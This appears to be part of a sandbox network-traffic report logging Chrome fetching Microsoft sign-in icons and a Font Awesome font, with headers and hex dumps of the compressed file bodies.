2024-11-18 23:01:25 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20626057 Cache-Control: public, max-age=31536000 Content-MD5: 1jQlecEJaGhFO2st5KXLhg== Content-Type: image/svg+xml Date: Mon, 18 Nov 2024 23:01:25 GMT Etag: 0x8DB5C3F4AC59B47 Last-Modified: Wed, 24 May 2023 10:11:51 GMT Server: ECAcc (lhc/78BB) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 2ee1dbb1-b01e-00dc-3276-7e9a59000000 x-ms-version: 2009-09-19 Content-Length: 1636 Connection: close
2024-11-18 23:01:25 UTC	1636	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 33 38 2c 31 34 48 31 30 56 33 34 48 33 38 56 31 34 6d 32 2c 32 32 48 38 56 31 32 48 34 30 56 33 36 4d 31 37 2e 36 38 38 2c 31 38 2e 38 56 32 38 2e 38 32 38 48 31 35 2e 35 33 31 56 32 31 2e 32 33 34 61 33 2e 32 2c 33 2e 32 2c 30 2c 30 2c 31 2d 2e 36 37 32 2e 34 33 6c 2d 2e 32 36 36 2e 31 31 37 61 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M38,14H10V34H38V14m2,22H8V12H40V36M17.688,18.8V28.828H15.531V21.234a3.2,3.2,0,0,1-.672.43l-.266.117a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49758	13.107.246.45	443	2872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:01:25 UTC	418	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 23:01:25 UTC	785	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:01:25 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F4911527F x-ms-request-id: 4de04481-601e-0065-6362-361aad000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241118T230125Z-16547b76f7fbkfmzhC1DFWm9tw000000062000000000kp6q x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:01:25 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49757	13.107.246.45	443	2872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:01:25 UTC	438	OUT	GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 23:01:25 UTC	785	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:01:25 GMT Content-Type: image/svg+xml Content-Length: 2407 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F499A9B99 x-ms-request-id: 6158e1f5-201e-0006-7d33-388756000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241118T230125Z-1866b5c5fbbnjgfwhC1DFW3usc00000001s000000000c8mb x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:01:25 UTC	2407	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 59 3d 73 dd 38 12 cc af ea fe 03 eb 6d 72 17 88 02 66 f0 79 b5 ba e0 98 38 a0 52 05 ca ec 95 6c ab 4e 6b bb 6c af b5 3f ff ba 07 e0 7b 24 94 6c 7c 65 27 7a 4d 02 33 c3 c1 a0 a7 01 ff fa ed c7 87 e9 e5 e9 e1 fb c7 9b 53 28 a7 e9 e3 e3 d3 87 8f df db ef 1f 4f 8f 2f ff f9 fc e7 cd c9 4d 6e 0a 65 e2 b3 f7 4f cf cf 37 a7 4f 9f 3f 3d 9e a6 3f 7f 7f fe f4 ed e6 f4 f1 fb f7 2f ff ba be 7e 79 79 99 5f 74 fe fc f5 c3 b5 38 e7 ae 61 f8 f4 ef bf ff ed d7 df df 7e fb ef f4 f4 00 2b f9 9d 24 a7 e1 2a a6 b7 7a 15 ea 83 5c 95 f7 92 ae 7e cb ef 4a 78 7c 17 1e 1f 1f c2 e6 e0 97 f7 f6 cf 0c 7c 79 fb fd a3 3d be fa fa c7 f3 e3 cd e9 f1 c7 e3 a7 cf 0f 0f a7 e9 b7 e7 a7 2f e3 33 f8 b9 15 9d 6b 4e 32 b9 c5 a7 b9 48 08 08 df 3b 3c 73 79 8a b3 04 Data Ascii: Y=s8mrfy8RlNkl?{$l\|e'zM3S(O/MneO7O?=?/~yy_t8a~+$*z\~Jx\|\|y=/3kN2H;<sy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49759	13.107.246.45	443	2872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:01:25 UTC	421	OUT	GET /shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 23:01:25 UTC	805	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:01:25 GMT Content-Type: image/svg+xml Content-Length: 199 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F49C21D98 x-ms-request-id: 2f5c6997-901e-0079-7349-383f72000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241118T230125Z-164f84587bfdfkt7hC1DFW4fas00000004h0000000007x3n x-fd-int-roxy-purgeid: 4554691 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:01:25 UTC	199	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 75 8f bd ae c2 30 0c 85 5f 25 32 6b d5 38 3f 88 80 92 0e 77 ea 00 6b 87 bb 21 08 4d a4 d2 22 62 35 3c fe 4d 2e 62 44 b6 e4 63 fb d3 b1 6c d3 3a b2 d7 7d 9a 93 83 40 f4 38 70 9e 73 6e b3 6a 97 e7 c8 25 22 f2 42 00 cb f1 4a c1 81 36 c0 82 8f 63 a0 b7 5e a3 cf 3f cb cb 01 32 64 da 94 84 ce 52 a4 c9 77 e7 94 3c 25 cb df 9d 7d fa 0b 7d 73 b9 c5 69 72 30 2f b3 07 de d9 c7 99 02 bb 3a 38 29 d3 28 1c 84 ec 05 0e 0a 83 5e 75 bb dd 99 a3 30 b5 94 55 af cc 49 c8 46 c9 de 0c 02 7b 5d a8 c2 ee 5b 2d e5 b1 ce ff d5 ef c7 7e a3 b1 46 bd 50 5f ea fe 00 a3 0d 47 ef fa 00 00 00 Data Ascii: u0_%2k8?wk!M"b5<M.bDcl:}@8psnj%"BJ6c^?2dRw<%}}sir0/:8)(^u0UIF{][-~FP_G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49760	13.107.246.45	443	2872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:01:25 UTC	416	OUT	GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 23:01:25 UTC	806	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:01:25 GMT Content-Type: image/svg+xml Content-Length: 276 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 22 Jan 2020 00:38:00 GMT ETag: 0x8D79ED35591CF44 x-ms-request-id: ac693482-901e-0056-18c2-3932b9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241118T230125Z-16547b76f7f7zzl8hC1DFWmtag000000058000000000un6w x-fd-int-roxy-purgeid: 79218156 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 23:01:25 UTC	276	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 95 51 3d 6f c3 20 10 fd 2b 88 ae e6 e0 08 d8 b8 b2 3d 74 ca 90 ae 1d ba 45 8a 6b 5b 22 1f aa 91 c9 cf 2f 67 3b 6e 87 2c 15 f0 80 bb 7b ef 9e a0 1a a7 8e dd cf fe 32 d6 bc 0f e1 f6 2a 65 8c 11 e2 0e ae df 9d d4 4a 29 99 2a 38 8b c3 29 f4 35 d7 86 b3 be 1d ba 3e 2c e7 69 68 e3 db f5 5e 73 c5 14 d3 26 4d de 54 61 08 be 6d 8e e3 d8 86 b1 92 cb ad ba 1d 43 cf 4e 35 7f 47 97 21 82 2d dc 04 ce 98 7d 01 39 16 7e 07 a5 c6 8c d0 09 b0 a5 a1 75 c8 33 d4 de 40 69 8c 98 71 4b cc 9c 55 e5 93 b3 af c1 fb 9a bf 18 45 83 cb bf bd 14 f1 b2 02 94 cd fd 53 fa 1e ff ef e3 ac 04 a0 41 01 aa c0 b4 0e 36 95 97 a4 47 9b 05 67 1d 11 d6 2c 66 33 67 c1 35 46 1b b1 49 9d da d8 47 40 3c 0e 98 4c 2e 3a 60 b5 4e 26 01 3f 52 03 93 0c cf 89 64 b4 b0 28 08 37 Data Ascii: Q=o +=tEk["/g;n,{2eJ)8)5>,ih^s&MTamCN5G!-}9~u3@iqKUESA6Gg,f3g5FIG@<L.:`N&?Rd(7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49762	104.17.25.14	443	2872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:01:25 UTC	654	OUT	GET /ajax/libs/font-awesome/6.1.1/webfonts/fa-solid-900.woff2 HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://veselectrical.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 23:01:25 UTC	977	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:01:25 GMT Content-Type: application/octet-stream; charset=utf-8 Content-Length: 154228 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: "623a082a-25a74" Last-Modified: Tue, 22 Mar 2022 17:32:26 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 354145 Expires: Sat, 08 Nov 2025 23:01:25 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bBAk%2B19QhA7DMsPWwK5E03k3Pnd9EwNES%2BgEGWRueiwbY4ArZvcxh2VajOpH7Xd7vXi8zwq7NfTudCmoAbFk1VTNrWIlYiIrtxWUEyjwYQWA1AMYVfp1W7O%2FcIqmu9aTWN6NATqP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8e4b9514ad0b4802-DFW alt-svc: h3=":443"; ma=86400
2024-11-18 23:01:25 UTC	392	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 02 5a 74 00 0a 00 00 00 05 a0 28 00 02 5a 29 03 01 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 38 02 24 04 20 06 60 03 ab 28 00 81 8f 40 ca 94 d0 28 cb ab 2c 05 87 70 07 20 a5 13 d0 92 94 01 48 70 1e 00 00 b6 ea e7 61 44 8a 66 0f 4f 11 b0 71 00 00 e8 9a 07 40 55 55 55 55 d5 a4 84 80 c7 6c db 01 a8 aa aa e0 47 3f f9 d9 2f 7e f5 9b df fd e1 4f 7f f9 9b bf fb 87 7f fa 97 7f fb 8f ff fa 9f ff fb 4f 81 c1 b8 fb 07 c2 b4 6c c7 e5 f6 78 7d 7e c3 7f b5 df e7 b9 3d ef 03 ed 4e 88 27 c0 8e b8 a3 c2 0a 88 ca 47 75 40 af 8c 70 31 86 47 a8 08 19 e3 d6 66 2c cc a5 2a 10 cb 56 3c 5b 00 c4 57 08 e1 55 a6 57 23 f9 e4 02 90 13 e0 40 9e 82 ab ed f0 22 5b c9 44 f4 38 98 89 ca 8b 0b 4c b4 ed 37 49 a7 07 f5 bc 7f e0 4f a4 7b Data Ascii: wOF2Zt(Z)8$ `(@(,p HpaDfOq@UUUUlG?/~OOlx}~=N'Gu@p1Gf,*V<[WUW#@"[D8L7IO{
2024-11-18 23:01:25 UTC	1369	IN	Data Raw: 86 d7 af fb 41 37 0f ec 60 ef 74 2f 49 3b b0 33 2d 4b 96 76 64 4b b1 ec 18 d6 44 d1 84 6d 85 64 73 d0 e3 f8 12 db 41 85 d0 1b 62 85 d0 e3 23 d4 3f 1f c1 da 47 e4 4f ce 6d 2e 99 3d 9e ac 9c ff ea 75 78 fd 3a bc d7 9d 67 72 cf f4 cc f4 cc a6 09 bd 33 bd e1 f6 76 2e af 74 0a 7b a7 70 a7 78 a3 90 40 48 0b 02 24 04 42 23 a2 48 d6 01 06 04 18 34 72 42 02 3e 9c 13 c6 09 8d b0 fd 1d d2 19 27 1c b5 38 e2 84 0f 07 c0 81 be 9f 70 6a fd 3c d1 68 34 1a a1 67 e4 d8 71 2c 59 b6 e4 c4 4e 62 5b b6 95 b0 bb c0 6d 73 c4 5e 4c f7 30 dd ed 02 5d 7d c7 dd a3 dc c7 7e f6 27 ce 11 fb 13 77 3f 61 3e 10 39 3f cf cf d4 fe 9d 0b f4 de bb 0f 48 c0 4f d2 93 66 46 23 69 34 92 c6 9e 19 8f 4c b1 1d 3b 89 9d 34 71 a8 c9 04 37 61 a7 6d c2 6d a6 94 c2 52 da 85 94 33 05 5c f2 76 81 9b c9 62 Data Ascii: A7`t/I;3-KvdKDmdsAb#?GOm.=ux:gr3v.t{px@H$B#H4rB>'8pj<h4gq,YNb[ms^L0]}~'w?a>9?HOfF#i4L;4q7ammR3\vb
2024-11-18 23:01:25 UTC	1369	IN	Data Raw: fc ca e2 c9 d5 dc 28 56 bd 3c 5b 33 aa d5 ba 94 f6 2e ee 34 2a b9 77 b9 b3 5a 57 25 53 ec 90 d4 76 29 0c 73 a9 ca b3 f3 ce 2a f9 34 68 fc b5 0c c4 93 18 1b 5a ea 47 27 ab ee 6c 63 c7 de 95 cd d9 89 a9 b2 9c 94 b3 81 9c 37 02 76 4f 35 e6 30 1a 3f 8e 51 e4 82 f7 af cb 01 83 c5 bd f7 2b d5 de 34 ec 6e db 43 05 a3 d1 dd f9 d0 e1 f0 3c d1 6f 44 91 bb ce 26 2d 6d 95 c7 cb 14 89 03 c1 d3 81 8c 7a a0 87 c5 b8 72 f3 7b d4 c8 5c c8 b8 21 ef 3b 87 d5 ea a2 75 94 58 8a f8 e7 29 de 8b f6 d2 79 90 a8 66 dd 3a 30 18 d6 a0 2b 9d 21 cf e1 eb 90 7f ba b8 7d 1c 45 f1 36 22 b7 e9 90 d5 2e 9d 8f 32 bf c3 fa ca 67 ab 18 d4 cb 91 bd ed fa b4 f4 07 cc 93 b5 22 a7 2d ae 05 87 f4 1d df c6 63 19 97 f8 48 c7 a8 bf d3 90 65 e2 c9 9c 8d 6f cd 06 0f f7 90 38 b0 73 ef 5f 14 cc 5b cc 97 Data Ascii: (V<[3.4wZW%Sv)s4hZG'lc7vO50?Q+4nC<oD&-mzr{\!;uX)yf:0+!}E6".2g"-cHeo8s_[
2024-11-18 23:01:25 UTC	1369	IN	Data Raw: 1a a3 33 26 63 31 21 13 31 31 93 33 05 d3 30 2d d3 31 3d 33 33 17 f3 b3 30 4b b3 0c 2b b3 26 6b b1 1e 1b b3 15 fb 72 04 c7 72 32 a7 72 06 67 71 36 e7 70 1e 17 71 33 b7 72 1b 77 f0 00 cf f1 32 ef f2 1e ef f3 01 1f f3 35 3f f2 1b bf f3 27 7f f1 9f 02 15 46 11 94 58 99 94 5b f9 54 4e e5 55 59 55 d5 48 1d d5 47 7d d5 5f 03 34 42 13 34 51 93 34 59 d3 34 5d b3 34 5f 0b b5 58 2b b5 56 bb b5 47 fb b4 5f 07 74 50 87 74 58 47 75 5c 27 74 59 37 74 53 0f f5 4a 6f f4 5e 9f 24 7d d3 4f fd b3 50 16 d1 12 5a 62 4b 6b d9 2d af 35 b0 46 d6 d4 5a d8 30 1b 6e 63 6c aa ad b2 23 76 cc 4e d9 39 bb 62 d7 ec 91 3d b5 57 f6 c9 7e db 5f fb ef a1 3d aa 27 f7 94 9e d3 73 7b 7e 2f e8 45 bc 98 97 f0 52 5e c6 2b 78 65 af ea 35 bc ae 37 f2 26 de dc 5b 7b 27 ef ee 3d bd 9f 0f f2 21 3e dc Data Ascii: 3&c1!1130-1=330K+&krr2rgq6pq3rw25?'FX[TNUYUHG}_4B4Q4Y4]4_X+VG_tPtXGu\'tY7tSJo^$}OPZbKk-5FZ0ncl#vN9b=W~_='s{~/ER^+xe57&[{'=!>
2024-11-18 23:01:25 UTC	1369	IN	Data Raw: c1 4d dc d8 8d dc c0 f5 c1 f5 5c 17 5c c7 b5 5d cb 65 2c c7 1c fc 96 f3 39 2f 38 8f 73 3b a7 fe d1 5f d0 1f fd d0 17 7d d4 0b d0 73 d0 33 3d d5 23 3d 04 3d 00 dd d7 3d dd d1 2d 5d d1 25 9d d5 19 1d 03 1d 06 1d d4 01 ed 01 ed 06 d0 66 d0 26 d0 06 00 ad 00 2d d3 52 2d d6 0c d0 34 d0 54 d0 94 be ff b5 ef 44 d0 58 8d 01 0d d5 10 0d d6 40 f5 57 1f f5 52 0f 75 51 47 b5 53 7d d5 53 55 50 89 f8 37 fe 89 3f f1 1b 20 1e c6 cd 38 15 fb 63 5f ec 8e 1d b1 35 b6 c4 c6 58 1f ab 63 49 cc 80 98 1a e3 63 58 f4 89 de d1 2e da 46 eb 68 15 2d a2 79 34 8b a6 d1 24 1a 46 fd a8 17 75 a2 46 54 8d 2a 51 39 2a 44 f9 c8 a2 6c 94 86 28 1e c5 a2 68 44 a4 28 12 85 23 2f a4 ff d3 9f f4 23 7d 4b 5f d3 97 f4 39 bd 4d 2f d3 f3 f4 34 3d 86 74 35 9d 87 74 0e d2 59 48 67 20 9d 4e a7 d2 c9 74 Data Ascii: M\\]e,9/8s;_}s3=#===-]%f&-R-4TDX@WRuQGS}SUP7? 8c_5XcIcX.Fh-y4$FuFTQ9Dl(hD(#/#}K_9M/4=t5tYHg Nt
2024-11-18 23:01:25 UTC	1369	IN	Data Raw: a2 00 0d f3 01 c0 7e 05 32 40 06 10 20 01 72 80 02 75 80 ba 40 00 1a 01 ad 81 02 40 3b 60 0c 50 0a 98 0c 4c 06 ca 03 53 80 29 40 05 60 2a 30 15 a8 08 4c 03 a6 01 95 80 e9 c0 74 a0 32 30 03 98 01 54 01 66 f2 b7 a8 0a cc 2a aa 01 b3 8b ea c0 9c a2 06 30 b7 88 81 79 45 06 98 5f 64 81 05 45 02 2c 2c f2 80 45 45 0e 58 5c a4 c0 92 a2 26 b0 b4 a8 05 2c 2b 6a 03 cb 8b 3a c0 8a a2 2e b0 b2 a8 07 ac 2a ea 03 ab 8b 06 c0 9a 83 1a 02 17 43 37 02 97 42 37 03 57 42 9f 00 ae 86 76 02 ae 83 15 04 6e 83 de 05 dc 0d ed 0c bc 0e d9 07 fc 0e fb 08 e2 32 90 d7 21 ae 0a ed 0b 71 35 68 3f 88 5b 43 bb 41 dc 06 da 1d e2 4b a0 67 20 be 02 ba 09 e2 2b a1 5b 21 be 0a fa 0a c4 d7 40 37 40 7c 0b fc 3d 88 ef 40 68 04 f1 bd d0 2d 90 c9 c2 0a 40 e6 20 e4 05 c8 1c 82 bc 04 99 c3 90 17 21 Data Ascii: ~2@ ru@@;`PLS)@`0Lt20Tf0yE_dE,,EEX\&,+j:.*C7B7WBvn2!q5h?[CAKg +[!@7@\|=@h-@ !
2024-11-18 23:01:25 UTC	1369	IN	Data Raw: 65 c9 15 68 0f 93 2b 0a 71 28 b9 52 66 1c 44 ae 4c ae 45 7b 9c 5c 87 dc bc ad d9 e4 16 a0 3d 47 6e 89 f6 3c b9 55 4f 7b 99 dc 86 dc a9 bd de e4 ce c0 20 72 17 b4 b7 c9 5d 27 34 90 dc 8d dc 8b f6 0e b9 0f 79 14 ed 43 f2 18 65 b4 ef c9 e3 c9 93 68 3f 90 27 0b 71 06 79 0a e2 4c f2 54 b4 22 4f 33 b6 09 a7 f3 33 b6 9f c9 33 c9 b3 68 bf 90 e7 90 e7 d2 7e 23 cf 27 2f a4 fd 41 5e 24 c4 c4 e4 c5 68 37 91 97 4c d8 fe 26 af 20 af a2 fd 43 5e 43 5e 4b fb 9f bc 4e 3d b1 30 79 3d 79 d7 f5 7d db 21 ef 21 ef 23 46 90 cf 90 2f 11 a3 c9 57 c8 57 89 a9 c8 b7 c8 8f 88 69 c8 4f 30 7e 76 db 67 e4 e7 fb 2a 4d 7e d1 61 c0 79 64 8f f6 19 f9 65 4f 4b f2 2b f2 c7 36 d6 56 32 c9 5f 89 05 c8 df 40 b7 08 f9 3b e2 44 f2 8f cc b8 8e fc 93 fc 9f 58 94 42 0d de cf 6c 6a 08 19 dd 26 d4 50 Data Ascii: eh+q(RfDLE{\=Gn<UO{ r]'4yCeh?'qyLT"O333h~#'/A^$h7L& C^C^KN=0y=y}!!#F/WWiO0~vg*M~aydeOK+6V2_@;DXBlj&P
2024-11-18 23:01:25 UTC	1369	IN	Data Raw: 85 f6 02 ed 15 b2 37 ed 35 da eb e4 00 da 9b b4 b7 c9 41 b4 0f 48 e4 50 da c7 22 87 d1 3e f5 c8 e1 b4 cf 69 5f 90 23 68 5f 49 e4 28 da b7 22 47 d3 7e 10 39 86 f6 8b c8 b1 b4 df 3d 72 1c ed 3f b4 ff 92 e3 a9 61 24 72 22 15 91 93 a8 31 45 4e a6 c6 11 39 85 9a 48 e4 54 6a 0a 91 d3 a8 a9 36 62 4e a7 a6 a5 a6 23 67 50 33 51 33 93 b3 a8 d9 a9 39 c9 39 d4 02 f2 c8 f9 d4 22 d4 a2 e4 02 6a 29 89 5c 44 2d 2b 72 31 b5 82 c8 25 d4 ca 22 97 52 6b 88 5c 46 ad e5 91 cb a9 75 a8 f5 c8 15 d4 86 f2 c8 d5 d4 66 d4 e6 e4 1a 6a 6b e5 cc 75 d4 b6 d4 f6 e4 7a 6a 27 6a 17 72 13 b5 9b 44 6e a5 f6 10 b9 8d da 57 e4 76 6a ff 9c b9 83 3a 90 3a 88 dc 49 1d 42 1d 4a ee a6 8e 50 ce dc 4b 1d 45 1d 4b ee a3 4e a0 4e 22 0f 51 e7 2b 67 1e a5 2e a4 2e 21 8f 51 57 52 57 91 a7 a8 1b 24 f2 0c Data Ascii: 75AHP">i_#h_I("G~9=r?a$r"1EN9HTj6bN#gP3Q399"j)\D-+r1%"Rk\Fufjkuzj'jrDnWvj::IBJPKEKNN"Q+g..!QWRW$
2024-11-18 23:01:25 UTC	1369	IN	Data Raw: 04 ca bf 90 f0 38 ca bf 92 b8 09 ca 85 e8 54 94 7f 27 fa 11 e5 bf 2b 54 5b 1d fa 6f 25 07 f4 29 72 41 e2 72 e4 46 e2 58 e4 b5 88 2e 46 5e 87 e8 12 e4 75 49 f8 05 79 3d 12 1e 43 5e 9f e8 08 e4 8d 89 7e 42 de 84 e8 7c e4 4d 89 fe 46 de 8c 84 91 c8 9b 93 f0 14 f2 16 44 57 21 6f 49 42 23 e4 ad 48 38 17 79 77 a2 f7 91 f7 24 a1 0e f2 5e c4 de 46 de 8f d8 71 c8 87 91 b0 00 f9 70 0b 6e 26 c4 2e 41 3e 9b d8 ad c8 e7 90 78 2d f2 b9 c4 ae 47 3e 8f d8 2d c8 e7 13 7b 04 f9 02 62 ef 20 5f 4a 74 06 f2 ed d5 7e 89 ef 84 fa 47 e2 bb 42 ec 2b e4 7b 92 f0 2e f2 bd 89 7d 83 7c 7f f5 95 c4 0f 84 54 2b 91 1f 46 42 6f e4 c7 a8 bf 26 7e 1c 24 4e 45 7e 3c b1 75 c8 4f 20 